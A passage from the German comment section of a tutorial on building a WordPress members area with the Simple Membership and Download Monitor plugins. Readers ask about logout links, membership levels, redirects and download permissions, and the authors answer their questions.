    cheers ungoliant Antworten
    • Thorsten Faltings 8. März 2019 16:52 Moin,
      meines Wissens ist das nicht möglich. Am besten die Mitgliedsstufen so planen, dass sie die Möglichkeiten der anderen Stufen beinhalten und noch jeweils weiter Optionen bieten. So nach dem Motto Bronze, Silber, Gold.
      Ahoi!
      Thorsten Antworten
  • Gaby4. März 2019 11:32 Moin Thorsten, 🙂
    vielen Dank, für die schnelle Reaktion!
    Es geht darum, dass für einen Lehrgang, der in Blockwochen stattfindet, für die jeweilige Woche alle Skripte heuntergeladen werden sollen.
    Ich würde also gerne alle betreffenden Dateien z.B. unter dem Download Titel „Skripte Woche 1“ hochladen und den Shotcode, unter dem ja jetzt evtl. 5 Dateien gespeichert sind, in die Download Seite für die Teilnehmer einfügen.
    Oder muss ich für jedes einzelne Skript einen eigenen Shortcode einfügen?
    Ich würde dann aber nicht den Sinn verstehen, dass unter einem Download Titel mehrere Dateien hochgeladen werden können, wenn tatsächlich nur eine downgeloadet werden kann.
    Schon jetzt vielen Dank für Deine Geduld mit mir ….
    Beste Grüße
    Gaby Antworten
  • Gaby3. März 2019 20:12 Hallo Kim,
    es ist zwar schon oft gesagt, aber trotzdem nochmal:
    Vielen Dank für die super Anleitung!
    Leider komme ich mit einem Problem nicht weiter.
    Ich habe über den Download Monitor mehrere Dateien hochgeladen und den Shortcode auf die Download Seite kopiert. Aber nur die erste Datei kann heruntergeladen werden. Alle anderen erscheinen erst gar nicht.
    Im Dashboard erscheint unter Downloads bei „Datei“ auch nur eine Datei.
    Muss ich bei der Bereitstellung von mehreren Dateien denn vielleicht noch weitere Einstellungen im Download Monitor vornehmen? Antworten
    • Thorsten Faltings 4. März 2019 9:00 Moin Gabi,
      erstmal vielen Dank für Dein Lob!
      Wir sind nicht sicher, ob wir Dein Problem richtig verstehen, haben aber eine Vermutung:
      Kann es sein, dass Du alle Dateien zu einem „Download“ zusammengefasst hast? Versuche mal für jede Datei einen eigenen „Download“ anzulegen und entsprechend die jeweiligen Shortcodes einzufügen.
      Ahoi!
      Thorsten Antworten
  • Peter Lehmann20. Februar 2019 14:51 Hallo, ich wollte ein Mitglied manuell über das Plugin anlegen. Das funktioniert nicht. Es wird aber jedesmal eine admin.php Datei heruntergeladen. Was mache ich falsch?
    Hintergrund ist der, dass ich die Kunden manuell anlegen will. Nicht jeder bekommt einen Zugriff auf eine Seite.
    Kann man auch jedem Benutzer eine spezielle Seite anzeigen? Antworten
  • Maja17. Januar 2019 17:47 Hallo Kim,
    vielen Dank für den tollen Beitrag. Ist total hilfreich!
    Bei mir hakt es nur noch an einer Stelle…
    Wenn ein Besucher ohne einggeloggt zu sein die Download-Seite aufruft erscheint da der Satz: „Sie müssen sich anmelden …“. Und sonst nichts. Gibt es eine Möglichkeit in diesem Fall direkt auf die Login Seite umzulenken?
    Gruß Maja Antworten
  • Ronny Meyer27. Dezember 2018 20:05 Hallo Kim. Vielen Dank für Deine Anleitung. Sehr gute Sache.
    Leider habe ich ein Problem: wenn ich den Shortcode in der Seite einfüge, und danach darauf klicke passiert nichts… was habe ich falsch gemacht?
    Gruss Ronny Antworten
  • Konstantin1. Dezember 2018 3:25 Hallo,
    toller Artikel! Sehr ausführlich und gut beschrieben.
    Eine Frage hätte ich dennoch. Mit welchem Plugin kann ich die automatische Registrierung ermöglichen?
    Es steht zwar eine Seite namens Registration zur Verfügung, nur enthält diese kein Formular. Antworten
  • Daniel von bo:mi:well®16. November 2018 18:17 Liebe Kim, ich danke dir vielmals für diesen tollen Artikel!
    Ich hatte mich vor einigen Monaten schon mal damit beschäftigt und es dann verzweifelt aufgegeben. Heute morgen bin ich dann auf diese absolut perfekte Anleitung gestoßen und konnte die Einrichtung dann auf meiner Seite zur vollsten Zufriedenheit durchführen. Wirklich toll erklärt – sowas findet man leider zu selten.
    Einen Spenden-Button für eine „Tasse Kaffe“ gibts nicht auf der Seite, oder?
    Würde mich gerne erkenntlich zeigen. Habe fast ein schlechtes Gewissen, dass ich diese tolle Anleitung einfach kostenlos erhalten habe.
    Liebe Grüße
    Daniel von bo:mi:well® Antworten
    • Kim Salewski 19. November 2018 9:22 Moin Daniel,
      Es freut mich sehr zu hören, dass die Anleitung eine Hilfe und verständlich ist! Deine Hilfestellung für Ben ist reicht uns vollkommen als Entlohnung 😉 Wir freuen uns, wenn durch unseren Beitrag und die vielen hilfreichen Kommentare offene Fragen geklärt werden können.
      Viele liebe Grüße,
      Kim Antworten
  • Olaf12. November 2018 18:21 Hallo, super Beitrag… Ich habe das nun auf meiner Seite auch hinbekommen, danke dafür.
    Eine Frage hab ich noch dazu, wie bekomme ich es hin das sich ein User mehr als einmal anmeldet? Sozusagen ein User für eine Gruppe… geht das? Antworten
  • Alexander Mäding8. November 2018 12:30 Hallo,
    kann ich auch eine Seite erst nach 7 Tagen nach der ersten Anmeldung freischalten?
    LG Alexander Antworten
  • Der Waldi7. November 2018 12:18 Vielen vielen Dank für diesen Beitrag. Du hast mir sehr geholfen.
    Ich habe nur noch eine Frage.
    Kann ein Mitglied mehreren Mitgliedsstufen angehören?
    Ich möchte auf der Seite mehrere Kurse anbieten, die alle Separat bestellt werden können. Was passiert, wenn ein Mitglied einen zweiten Kurs bestellen möchte. Muss ich das Mitglied neu anlegen mit einer anderen Mailadresse, oder gibt es die Möglichkeit das man ihm einfach den zweiten Kurs zuweist?
    Danke nochmal Antworten
    • Daniel von bo:mi:well®7. März 2019 11:11 Hallo Waldi,
      genau vor diesem Problem stand ich auch. In dem Plugin lässt sich ja immer nur eine Mitgliedschaftsstufe auswählen. Man kann leider nicht mehrere anklicken.
      Meine Idee war dann einfach eine weitere Mitgliedschaftsstufe anzulegen. Und alle Seiten, die den beiden anderen Mitgliedschaftsstufen jeweils zugeordnet sind, auch der neuen zuzuordnen.
      Im meinem Fall sah das so aus:
      1. Mitgliedschaftsstufe: Tagesworkshop Rückenschule (Seiten A, B, C)
      2. Mitgliedschaftsstufe: Faszientraining Workshop (Seiten 1, 2, 3)
      3. Mitgliedschaftsstufe: Tagesworkshop Rückenschule und Faszientraining (Seiten A, B, C und Seiten 1, 2, 3)
      Ich habe dann eine Auswahl-Seite erstellt, auf der ich die Links zu beiden Workshops eingefügt habe. Diese Seite wurde dann zu der Redirection-Page der Mitgliedschaftsstufe. Und damit man von einem Workshop zum anderen wechseln kann, habe ich diese Auswahlseite in meiner Seitenleiste verlinkt.
      So funktioniert es jetzt eigentlich ganz gut. 😉
      Ich weiß zwar nicht, ob ich einen solchen Kommentarbereich nutzen darf, um Werbung zu machen – falls es nicht erwünscht sein sollte, dann entschuldige ich mich dafür und dann darf der Kommentar natürlich gelöscht werden – aber vielleicht gibt es hier ja jemanden, der gerne seine Rückenschmerzen loswerden möchte.
      bomiwell.de/ruecken
      Liebe Grüße
      Daniel von bo:mi:well® Antworten
      • Thorsten Faltings 7. März 2019 11:16 Moin Daniel,
        es ist tatsächlich so, dass wir hier normalerweise keine Werbung zulassen.
        Da uns aber Dein Lösungsweg gefallen hat, drücken wir mal ein Bullauge zu 😉
        Ahoi!
        Thorsten Antworten
  • Sandra Oelschläger5. November 2018 8:51 Einfach nur ein riesiges Danke für den Beitrag! Sehr übersichtlich und leicht nachzumachen. Danke!
    Liebe Grüße
    Sandra Antworten
  • Akinom11. September 2018 13:25 Tolle Anleitung.
    Gibt es auch die Möglichkeit, Berechtigungen (Veröffentlicht, Privat) nachträglich außerhalb des Dashboards zu ändern? Möchte einem eingeloggten Nutzer die Möglichkeit geben, seine privaten Elemente der Seite zu veröffentlichen. Antworten
  • Herbert6. September 2018 20:52 Diese Anleitung ist wirklich Spitze. Die stimmt wirklich bis ins Detail. Herzlichen Dank dafür. Ich habe über dem Problem einige Tage gebrütet und diverse Member Plugins inkl. Anleitungen ausprobiert. Nur diese Weg war erfolgreich, und dann sogar noch ohne Kosten. Ich kann auch kaum glauben, dass ein solches tolles Plugin kostenfrei ist. Obwohl mein Kunde plötzlich andere Anforderungen stellt, die wahrscheinlich so nicht realisierbar sind, werde ich diese Lösungen mit Sicherheit bei anderen Projekten umsetzen. Antworten
  • Lennart20. August 2018 19:27 Super Erklärung, danke dafür!
    Mein Problem ist nur gerade, dass ich selbst wenn ich eingeloggt bin, die Dateien nicht Downloaden kann. Es erscheint die Meldung: „Du besitzt nicht die nötige Berechtigung, um auf diese Download-Datei zuzugreifen. Gehe zur Startseite“.
    Ich bin der Meinung, ich hätte alles richtig eingestellt… :/ Antworten
  • Christian20. Juli 2018 17:17 Hallo,
    können bei Simple Membership auch Einstellungen vorgenommen werden, dass die angelegten Mitglieder automatisch per Email darüber informiert werden dass sie angelegt wurden und ihnen auch der Benutzername und das Passwort mitgeschickt wird?
    VG
    Christian Antworten
  • Dia20. Juli 2018 8:49 Vielen Dank für die ausführliche und sehr gut verständliche Anleitung!
    Ich habe nun alles so eingerichtet, jedoch haben sich zwei Probleme aufgetan:
    1.) Nachdem der Abonnent eingeloggt ist kommt er nochmals auf eine Seite, wo das Passwort wieder abgefragt wird. „Dieser Inhalt ist passwortgeschützt. Um ihn anzuschauen, gib …..“… und wie gesagt, er muss nochmals das vorher bereits eingegebene PW eingeben.
    2.) es gibt keine Möglichkeit sich auszuloggen. Erst wenn der Abon. wieder auf die Login-Seite zurückkehrt kann er sich ausloggen. Gibt es da eine einfache Lösung mit einem Button oder Link, den ich einfügen kann? (Bitte Dummie-Version 😉 …)
    Vielen Dank und sonnige Grüße,
    Dia Antworten
    • Kim Salewski 20. Juli 2018 8:59 Moin Dia,
      Zu 1) kann ich leider nicht viel sagen. Die oben beschriebene Methode mit dem Redirect und dem aktivieren der Zugriffseinstellungen für eine bestimmte Mitgliedschaft haben dieses Problem bei uns bisher nicht hervorgerufen.
      Zu 2) gibt es lediglich diese Möglchkeit. Du kannst es deinen Besuchern etwas erleichtern, indem du die Menüführung anpasst. Hierzu einer meiner früheren Kommentare:
      „Es ist wahr, das Ausloggen findet bei diesem Plug-in/bei dieser Methode auf der Log-in Seite statt. Wenn man auf diese klickt, findet man dort den “Ausloggen” Link.
      Eine Möglichkeit, das Ausloggen für Benutzer logischer zu gestalten wäre:
      1. Du benennst die Seite “Log-in” in “Konto” um.
      oder
      2. Du nutzt das Plug-in “Nav Menu Roles”, mit dem du angeben kannst, welcher Menüpunkt angemeldeten und welcher Menüpunkt abgemeldeten Besuchern angezeigt wird. Hier kannst du zwei mal den Link “Log-in” zu deinem Menü hinzufügen, den ersten shaltest du für abgemeldete Besucher sichtbar. Den zweiten benennst du um in “Log-out” um und schaltest ihn für angemeldete Benutzer sichtbar. So sehen abgemeldete Besucher “Log-in”, und angemeldete Besucher “Log-out” im Menü stehen.“
      Ich hoffe, das konnte dir etwas weiterhelfen.
      Viele liebe Grüße,
      Kim Antworten
      • Josef S.12. September 2018 12:01 Hallo zusammen,
        was ich gemacht habe, um sich bequem auszuloggen:
        Den „Ausloggen“-Link von der Profilseite kopiert und auf der gesicherten Seite in einen „Ausloggen“-Button eingefügt. Funktioniert einwandfrei und ist sehr übersichtlich 😉
        LG Josef Antworten
  • Ben19. Juli 2018 9:51 Salut,
    Danke erstmal für die hammer Erklärung, war sehr leicht alles umzusetzten.
    Jetzt habe ich die Herrausforderung das ich, User habe die recht alt sind, und mit dem PC oft nicht klarkommen. Heißt Sie Loggen sich ein, machen dann aber irgendwas anderes, und gehen nach einer gewissen Zeit wieder auf dem LINK… den wir ihnen geschickt haben. Jetzt kommen sie aber auf dem Benutzerprofil raus, und nicht mehr auf der Redirekt-Seite. Manche sind nicht in der Lage den Logout button zu finden, egal wie groß man den macht -_- …
    meine Idee wäre eine Art: Autologout! Nach einer gewissen Zeit oder wenn mann den Tab oder das Fenster schließt oder so-….. !
    Hat jemand das schonmal gemacht, und hat dazu tips oder ideen? Danke schonmal…
    mit freundlichen Grüßen
    Ben Antworten
    • Daniel16. November 2018 18:07 Hi Ben,
      deine Frage ist zwar schon ein paar Monate alt, ich wollte an dieser Stelle aber dennoch eine Antwort darauf geben, da ich selbst auch eine solche Funktion haben wollte. Und vielleicht möchte es der eine oder andere, der in der Zukunft einen solchen Mitgliederbereich erstellen möchte, ebenfalls. Ich habe ihn selbst erst heute morgen eingerichtet, nachdem ich auf diese TOLLE Anleitung stieß.
      Nun endlich zur Antwort:
      Unter Einstellungen/Erweiterte Einstellungen hat man die Möglichkeit „Logout Member on Browser Close“ zu aktivieren.
      Viele Grüße
      Daniel von bo:mi:well® Antworten
  • Dennis5. Juli 2018 14:58 Hallo Kim und vielen Dank für die tolle Anleitung.
    Ich suche aktuell noch nach einer Möglichkeit auszulesen welcher membership der angemeldete User angehört um damit zu steuern welche Bereiche ihm angezeigt werden, bzw. ob der dynamisch generierte Content für ihn angezeigt werden soll.
    Also sowas wie aktuellerUser.get_membership();
    Um quasi abzufragen:
    $args = array(
    ‚post_parent‘ => $post->ID,
    ‚post_type‘ => ‚page‘,
    ‚orderby‘ => ‚menu_order‘
    );
    $child_query = new WP_Query( $args );
    while ( $child_query->have_posts() )
    {
    if (get_membership() == „1“)
    {
    echo “ . get_the_excerpt() . “;
    echo ‚mehr erfahren‚;
    }
    }
    Hast Du da eine Idee?
    Danke,
    Dennis Antworten
    • Kim Salewski 5. Juli 2018 15:16 Moin Dennis,
      So weit haben wir uns mit diesem Thema in Hinblick auf Simple Membership nicht auseinandergesetzt. Unser Beispiel war deutlich simpler und hat diese Funktion nicht benötigt.
      In diesem Falle lege ich dir eher nahe, dir ein umfangreicheres Plug-in zu suchen, was diese Funktion bereits mit sich bringt.
      Alternativ stelle deine Frage lieber in dem entsprechenden Plug-in Support-Forum: https://wordpress.org/support/plugin/simple-membership
      Viele liebe Grüße,
      Kim Antworten
      • Dennis5. Juli 2018 17:04 Moin Kim,
        ich habe es inzwischen lösen können. In der Klasse SwpmMemberUtils gibt es eine Methode dazu. Damit bekommt man die gewünschte ID.
        Musste mich halt durch die Klassen lesen, da sind so einige Methoden, die man gut nutzen oder ändern und nutzen kann.
        Die Lösung ist dann z.B. so:
        $member_id = SwpmMemberUtils::get_logged_in_members_id();
        Dann kann ich mit der Varible weiterarbeiten.
        Danke und viele Grüße,
        Dennis Antworten
  • Carsten 12. Juni 2018 18:08 Hallo, wunderbar erklärt und verständlich.
    Ich möchte allerdings, dass bestimmte eingeloggte Klienten nur den für sie bestimmten Inhalt sehen können … nicht in Gruppen – aber in Klienten unterteilt. Müsste ich dazu eigene Mitgliedschaftsstufen für jeden Klienten einrichten? Und dann die Startseite nach dem einloggen für jeden Klienten individuell einrichtenß
    GLG, Carsten Antworten
    • Kim Salewski 13. Juni 2018 8:53 Moin Carsten,
      Für einen einzelnen Klienten müsstest du ebenfalls ein eigenes Mitglied und eine eingene Mitgliedschaft anlegen, nach dem Prinzip oben, und dann lediglich diesem Klienten den Zugang zukommen lassen. Je nach dem, wie viele Klienten du hast, könnte das vielleicht unübersichtlich werden. Daher müsstest du hier wahrscheinlich eine andere Lösung in betracht ziehen.
      Viele liebe Grüße,
      Kim Antworten
      • Carsten 13. Juni 2018 11:24 Hallo Kim,
        vielen Dank für die schnelle Antwort. Da ich nur einem recht kleinen Kreis Zugang gewähren werde, nutze ich erst einmal SimpleMembership. Ich habe nach anderen Tools geschaut – diese sind dann zu umfangreich. So viel Aufhebens brauche ich am Ende nicht.
        Hugs, Carsten Antworten
  • oliver2. Juni 2018 1:41 Hallo Ihr Lieben,
    ihr habt mir mit dieser Anleitung sehr weitereholfen! Vielen Dank dafür. 2 Fragen hätte ich noch dazu:
    a) ich wollte ebenfalls den Text „Erinneren Sie mich…“ + dem Würfel unter dem Login rausnehmen.Das mit dem Text hatauch mit der mo. Datei funktioniert. Habt ihr eine Idee, wie ich den Würfel weg bekomme?
    b) wenn ich die Seite nun durch den Login geschützt habe und ebenfalls den Seitenschutz aktiviert habe, können Inhalte wohl trotzdem gesehen werden? Inhalte auf der Seite wie Produkte, Inhalte etc.?
    Vielen Dank schon mal für die Antwort(en) und liebe Grüße OG Antworten
    • Lukas19. November 2019 11:58 Hallo Oliver,
      ich habe das selbe Problem wie in deiner Frage a). Hast du mittlerweile eine Lösung gefunden? Bzw. welche mo. Datei meinst du?
      Vielen Dank vorab und liebe Grüße
      Lukas Antworten
  • Daniel29. Mai 2018 18:37 Hallo,
    sehr hilfreicher Beitrag. Ich nutze nun auch einen WordPress Mitgliederbereich, da ich nun einen Online-Kurs erstellt habe und diesen nur ausgewählte Leute sehen sollen. Also ich finde das Plugin klasse. Eigentlich war WordPress ja früher eher für Blogger gedacht und durch ein Membership Plugin wie Digimember kann man gleich viel mehr daraus machen.
    Beste Grüße
    Daniel Antworten
  • Vanessa16. Mai 2018 10:49 Halli hallo,
    vielen Dank für die wunderbare und ausführliche Anleitung. In meinem Fall möchte ich keine Downloads anbieten, sondern nur eine Seite für verschiedene (von mir vorgegebene Nutzer) zugänglich machen.
    Ich möchte allerdings gerne verfolgen können wer sich wann eingeloggt hat. Gibt’s dafür eine Möglichkeit?
    Vielen Dank schon mal 🙂 Antworten
  • Marcel9. Mai 2018 11:51 Hallo Kim,
    Danke für die tolle Anleitung. Kann man beim Download Monitor auch festlegen, welcher Benutzer welche Downloads abrufen kann? Ich habe 2 verschiedene Benutzer, die jeweils nur bestimmte Downloads abrufen können sollen. Das sie nur die gewünschten Seiten sehen funktionioniert ja über Simple Membership gut. Aber falls jetzt jemand über den Permalink zum Download verfügt, kann er die Datei runterladen egal als welcher Nutzer er eingeloggt ist. Gibt es eine Lösung, dass man die Datei nur runterladen kann, wenn man als der richtige User eingeloggt ist? Danke. Antworten
    • Thorsten Faltings 14. Mai 2018 12:53 Moin Marcel,
      wie im Beitrag beschrieben, können den beiden Benutzern unterschiedliche Seiten zugewiesen werden. Allerdings: kennt Benutzerin A von Benutzer B die Download-Links und ist eingeloggt, dann hätte sie auch Zugriff auf die Dateien. Soll auch diese Situation verhindert werden, müsste man sich eine alternative Strategie ausdenken.
      Ahoi!
      Thorsten Antworten
      • Marcel14. Mai 2018 20:20 Moin Torsten,
        ok danke für die Bestätigung des Sachverhalts. Dann habe ich erst mal nix falsch eingestellt. Antworten
  • Thomas 2. Mai 2018 20:36 Sehr schöne Lösung, genau was ich gesucht habe. Vielen Dank! Antworten
  • Uwe11. April 2018 5:27 Klasse Script was ich schon lange gesucht habe, alles eingebaut und es funktioniert…
    Was aber nicht funktioniert ist der Logout über die „Kontoseite“, klicke ich auf Logout leitet dieses mich um auf eine Seite meines Webhosters
    https://meinedomain.de/?swpm-logout=true ist der Link der dahinter liegt und weitergeleitet werde ich zu: http://s79.goserver.host/neutral/
    Hab ich da einen Denkfehler oder ist es etwas anderes?
    Danke schon mal Antworten
  • Stefan23. März 2018 18:34 Ein wirklich toller Beitrag, vielen Dank! Ich habe ihn soweit umgesetzt und angepasst, und es funktioniert auch alles, bis auf ein Problem: Wenn ich mich über meinen Desktop-PC einlogge, oder über verschiedene Apple-Tablets oder ein Samsung-Smartphone, werde ich zur angegebenen Seite weitergeleitet und bin eingeloggt, aber es funktioniert nicht über ein iPhone, dort wird mir immer der Hinweis ausgegeben, dass ich mich anmelden müsste, und ich kann mir das nicht erklären. Hat jemand dieses Problem auch, oder kann mir dazu Hilfestellungen geben? Vielen Dank im Voraus! Antworten
  • Klaus22. März 2018 17:17 Ich habe einfach auf der Download-Seite den Logout-Buttom eingefügt, einmal am Anfang und einmal am Ende. Antworten
  • Nicole22. März 2018 15:45 Hallo Kim, das ist ein super Beitrag – es steht alles drin, einfach und sehr nachvollziehbar erklärt 🙂 TOP.
    Nur eine Frage habe ich: Ich bin 1 zu 1 den Schritten gefolgt und es funktioniert super und ist genau das, was ich benötige. Wenn ich mich als Tester einlogge, wird mir aber leider kein Logout Button angezeigt.
    Wo steckt der denn? Muss ich den extra ausweisen oder programmieren?
    Danke für eine Rückmeldung.
    Grüße Nicole Antworten
    • Kim Salewski 22. März 2018 16:57 Liebe Nicole,
      das ist wahr, das Ausloggen findet bei diesem Plug-in/bei dieser Methode auf der Log-in Seite statt. Wenn man auf diese klickt, findet man dort den „Ausloggen“ Link.
      Eine Möglichkeit, das Ausloggen für Benutzer logischer zu gestalten wäre:
      1. Du benennst die Seite „Log-in“ in „Konto“ um.
      oder
      2. Du nutzt das Plug-in „Nav Menu Roles“, mit dem du angeben kannst, welcher Menüpunkt angemeldeten und welcher Menüpunkt abgemeldeten Besuchern angezeigt wird. Hier kannst du zwei mal den Link „Log-in“ zu deinem Menü hinzufügen, den ersten shaltest du für abgemeldete Besucher sichtbar. Den zweiten benennst du um in „Log-out“ um und schaltest ihn für angemeldete Benutzer sichtbar. So sehen abgemeldete Besucher „Log-in“, und angemeldete Besucher „Log-out“ im Menü stehen.
      Ich hoffe, das konnte dir etwas weiterhelfen.
      Viele liebe Grüße,
      Kim Antworten
      • Nicole28. März 2018 12:00 Hallo Kim,
        danke für die Rückmeldung. Sorry, ich konnte noch nicht an der Website weiterarbeiten – aber am Wochenende setze ich mich wieder ran. Gerne sag ich Bescheid, ob und wie ich es geschafft habe 🙂
        Danke nochmals für deine Zeit und die Tips.
        Grüße,
        Nicole
        @Klaus: Das klingt auch wie eine gute simple Lösung. Antworten
  • Constanze Straub 23. Februar 2018 11:00 Hallo Kim,
    ganz genau weiß ich nicht, was du meinst: Wenn ich mich als Mitglied ausloggen möchte, klicke ich im Menü oben auf „Logout“. Dann erscheint, wie auch vor Installation des Plugins, die Seite mit dem Befehl „Abmelden“. Hatte ich vor Installation des Plugins darauf geklickt, wurde ich tatsächlich auf die Startseite geführt. Jetzt wie gesagt werde ich auf die WP-Anmeldeseite geführt. Da ist also irgendwo ein Fehler, ich weiß nur nicht wo…
    Liebe Grüße,
    Constanze Antworten
    • Kim Salewski 23. Februar 2018 11:09 Hallo Constanze,
      Leider kann ich dir da nicht weiter helfen.
      Das Plug-in Nav Menu Roles hat lediglich die Funktion freigeschaltet, dass Menüpunkte für angemeldete/abgemeldete Besucher angezeigt werden.
      An dem Abmelden-Link auf der Log-in Seite von Simple Membership hat es (bei uns) nichts geändert.
      Leider kann ich hier nur sagen „Probieren geht über Studieren“. Teste, ob der Link wieder funktioniert, wenn das Plug-in Nav Menu Roles deaktiviert ist. Wenn ja, suche nach einem anderen in dieser Richtung.
      Viele Liebe Grüße,
      Kim Antworten
      • Constanze Straub 23. Februar 2018 11:18 Hallo Kim,
        ist schon okay, Support kann ich ja nicht erwarten. Du hast mir so schon sehr weitergeholfen, danke nochmals. Ich habe gerade das Plugin deaktiviert und das Problem existiert trotzdem noch. Muss also noch probieren und den Fehler suchen.
        Danke und liebe Grüße,
        Constanze Antworten
  • Constanze Straub 23. Februar 2018 8:28 Hallo Kim.
    Ein grandioser Beitrag! Sehr gut und sehr detailliert erklärt. Mein Kompliment. Ich stehe gerade vor genau dieser Herausforderung: ein Mitgliederbereich. Noch dazu auf einer dreisprachigen Seite. Ich habe dieses Plugin ausprobiert und es scheint zu funktionieren. Meine Aufgabe: Ein Teil der Website soll nur Mitgliedern zugänglich sein. Wie im obereren Beispiel brauche ich kein Passwort etc., das macht der Admin.
    Mein Problem ist: Wie ändere ich das Menü im Mitgliederbereich, damit dort zum Ausloggen nicht „Login“ steht, sondern eben „Logout“. Momentan komme ich auf die Seite zum Ausloggen, indem ich auf „Login“ klicke. Dort ist der korrekte Link zur Weiterleitung auf die Abmelden-Seite enthalten. Nur: Wie kann ich auf den Mitgliederseiten den Link „Login“ umbenennen in „Logout“? Ist das möglich? Oder geht es in einer WordPressinstallation nicht?
    Liebe Grüße,
    Constanze Antworten
    • Kim Salewski 23. Februar 2018 8:49 Moin Constanze,
      Ich würde folgendes Plug-in nutzen: Nav Menu Roles
      Dieses Plug-in erlaubt es dir, in deinem Menü bei einzelnen Menüpunkten anzugeben, ob diese nur von angemeldeten Benutzern, abgemeldeten Besuchern oder Benutzern mit speziellen Benutzerrollen gesehen werden können.
      Du könntest in dein Menü die Seite „Log-in“ zwei Mal einfügen. Den zweiten Menüpunkt „Log-in“ benennst du dann um in „Log-out“ und schaltest ihn durch das Plug-in nur für angemeldete Besucher sichtbar (so sehen abgemeldete Besucher diesen nicht). Genau so kannst du „Log-in“ nur für abgemeldete Besucher sichtbar machen, dann wirkt es, als würde aus Log-in nach dem Anmelden Log-out werden.
      Ich hoffe, das hat dir etwas geholfen, auf der Plug-in Seite findest du Screenshots, die sicherlich etwas Klarheit bringen.
      Viele Liebe Grüße,
      Kim Antworten
      • Constanze23. Februar 2018 10:03 Moin Kim,
        Danke sehr! Super Tipp, und dann noch so schnell. Ich bin begeistert!
        Ich probiere das Plugin aus. Theoretisch wären für dieses Problem ja verschiedene Möglichkeiten denkbar: Von vornherein für jede Seite ein eigenes, vom Theme unabhängiges Menü erstellen und entsprechend auf der Mitgliederseite ändern. Oder den ganzen Mitgliederbereich von vornherein auslagern auf eine Subdomain (mit neuem WordPress). Aber wie es aussieht, scheint die Plugin-Lösung eine wenig aufwendige Lösung. Danke sehr!
        Liebe Grüße
        Constanze Antworten
        • Constanze23. Februar 2018 10:37 Hallo Kim,
          es funktioniert leider nicht wie erhofft.
          Zwar klappt es mit der Sichtbarkeit der Links, also als eingeloggt Mitglied wird nur der Link Logout gezeigt (und umgekehrt, Nichtmitglieder sehen nur das Login).
          Doch wenn ich mich als Mitglied wieder auslogge, werde ich zur WP-Abmeldung geführt. Mache ich da gerade einen Denkfehler? Welche Einstellungen könnten Verkehr sein?
          Liebe Grüße
          Constanze Antworten
          • Kim Salewski 23. Februar 2018 10:44 Hallo Constanze,
            Hast du auf den Link „Logout“ und dann auf „Abmelden“ unten auf der Seite geklickt?
            Das sollte einen ganz normal ausgeloggt auf die Startseite zurückleiten.
            Liebe Grüße,
            Kim
  • Ute Bender21. Februar 2018 16:43 Vielen Dank für den tollen Beitrag. Genau das habe ich gesucht und es klappt auch wunderbar. Eine kleine Frage bleibt:
    Unsere Mitglieder gehören Gruppen an (das sind meine Level), die unterschiedlich Zugriff auf unsere Kursinhalte haben sollen. Der Kurs umfasst fast 130 Seiten. Füge ich nun eine neue Gruppe (Level) hinzu, die auf alle 130 Seiten zugreifen soll, muss ich dann jede Seite wieder aufrufen und per Klick die Zuweisung bestätigen, oder gibt es hier ein Addon oder Trick, wie ich schnell Mitglieder eines Levels alle Seiten zugänglich machen kann.
    Es wäre toll, wenn ihr einen Hinweis hättet.
    Besten Dank im voraus.
    Ute Antworten
    • Kim Salewski 22. Februar 2018 8:41 Moin Ute,
      Das ist eine sehr gute Frage. Ich habe mich einmal erkundigt und es gibt tatsächlich die Möglichkeit, mehrere Seiten (oder Beiträge) auf einmal zu schützen.
      Du begibst dich in dem Bereich „WP Mitgliedschaft“ zu dem Menüpunkt „Mitgliedschaftsstufen“. Dort findest du oben fünf Reiter, bei denen der letzte „Schutz von Beiträgen uns Seiten“ heißt. Hier erscheinen nun drei weitere Reiter, bei denen du Beiträge, Seiten, oder Benutzerdefinierte Beiträge (Custom Post Type) anhaken und mittels des DropDownMenüs oben allen samt die gewünschte Mitgliedschaftsstufe zuteilen kannst.
      Hier einmal ein Link, mit der Erklärung des Plug-in Autors, inklusive Screenshots (Englisch).
      Mehrere Seiten auf einmal schützen
      Viele liebe Grüße,
      Kim Antworten
  • Klaus16. Februar 2018 10:32 Danke für die schnelle und unkomplizierte Unterstützung.
    Schöne Grüße von der Isar an die Elbe. Antworten
  • Klaus15. Februar 2018 19:06 Ich habe diese interessante Funktion jetzt ausprobiert. Soweit läuft auch alles, aber bei Aufruf der Login-Seite werden Zugangsinformationen zur Seite sichtbar. Wie beim Backend von WP erscheint links “ Meine Websites“ und rechts das Profil und Logout-Möglichkeit für den angemeldeten Besucher. Ist das korrekt? Oder kann der Besucher sich somit Zugang zum kompletten Backend verschaffen? Antworten
    • Thorsten Faltings 15. Februar 2018 19:16 Moin Klaus,
      wir sind nicht sicher, ob wir dich richtig verstehen. Du siehst die Informationen nur, wenn Du eingeloggt, nicht aber, wenn du ausgeloggt bist?
      Indem Fall verstehen wir das Problem nicht.
      Ahoi!
      Thorsten Antworten
    • Thorsten Faltings 16. Februar 2018 9:04 Moin Klaus,
      um zu verhindern, dass Mitglieder ins Backend kommen, kannst Du ein Plug-in wie WP Admin No Show verwenden. Oder Du blendest unter den Benutzer-Einstellungen jeweils die Werkzeugleiste aus. Grundsätzlich können die Mitglieder aber nichts anrichten, wenn Sie die Benutzerrolle „Abonnent“ haben.
      Ahoi!
      Thorsten Antworten
    • Kim Salewski 16. Februar 2018 9:20 Moin Klaus,
      Ich habe den Beitrag um eine weitere Methode erweitert, die das Plug-in liefert. Generell erhalten Mitglieder die Rolle „Abonnent“ und können nichts an der Seite anpassen. Wenn man allerdings sicher gehen will, dass Sie nichts an dem Benutzer an sich ändern können, befolge die Schritte, die ich unter „Den Benutzer abhalten, seine Daten anzupassen“ hinzugefügt habe (ziemlich weit am Ende des Beitrags).
      Viele liebe Grüße,
      Kim Antworten
  • Hendrik Wiedermann 14. Januar 2018 15:24 Hallo, wie ermögliche ich einem User, das manuelle ausloggen am besten?
    Ich habe in den Einstellungen von simple Membership ausgewählt, dass keine Werkzeugleiste angezeigt wird. Antworten
    • Hendrik Wiedermann 14. Januar 2018 16:04 habe es schon heraus gefunden. Einfach den Link des Logout der beim erneuten Klick auf den Mnüpunkt zum Login, erscheint, kopieren und als Link auf der Seite einbinden, auf die mal den User oder die Stufe durch das PlugIn weiterleiten lässt.
      Allerdings wäre es nun noch gut zu wissen, wie ich den einzelnen Mitgliedern und deren Stufe, den Zugriff auf eine Galerie ermöglichen kann bzw. nichtangemeldeten dies eben nicht. Antworten
      • Thorsten Faltings 15. Januar 2018 10:05 Moin Hendrik,
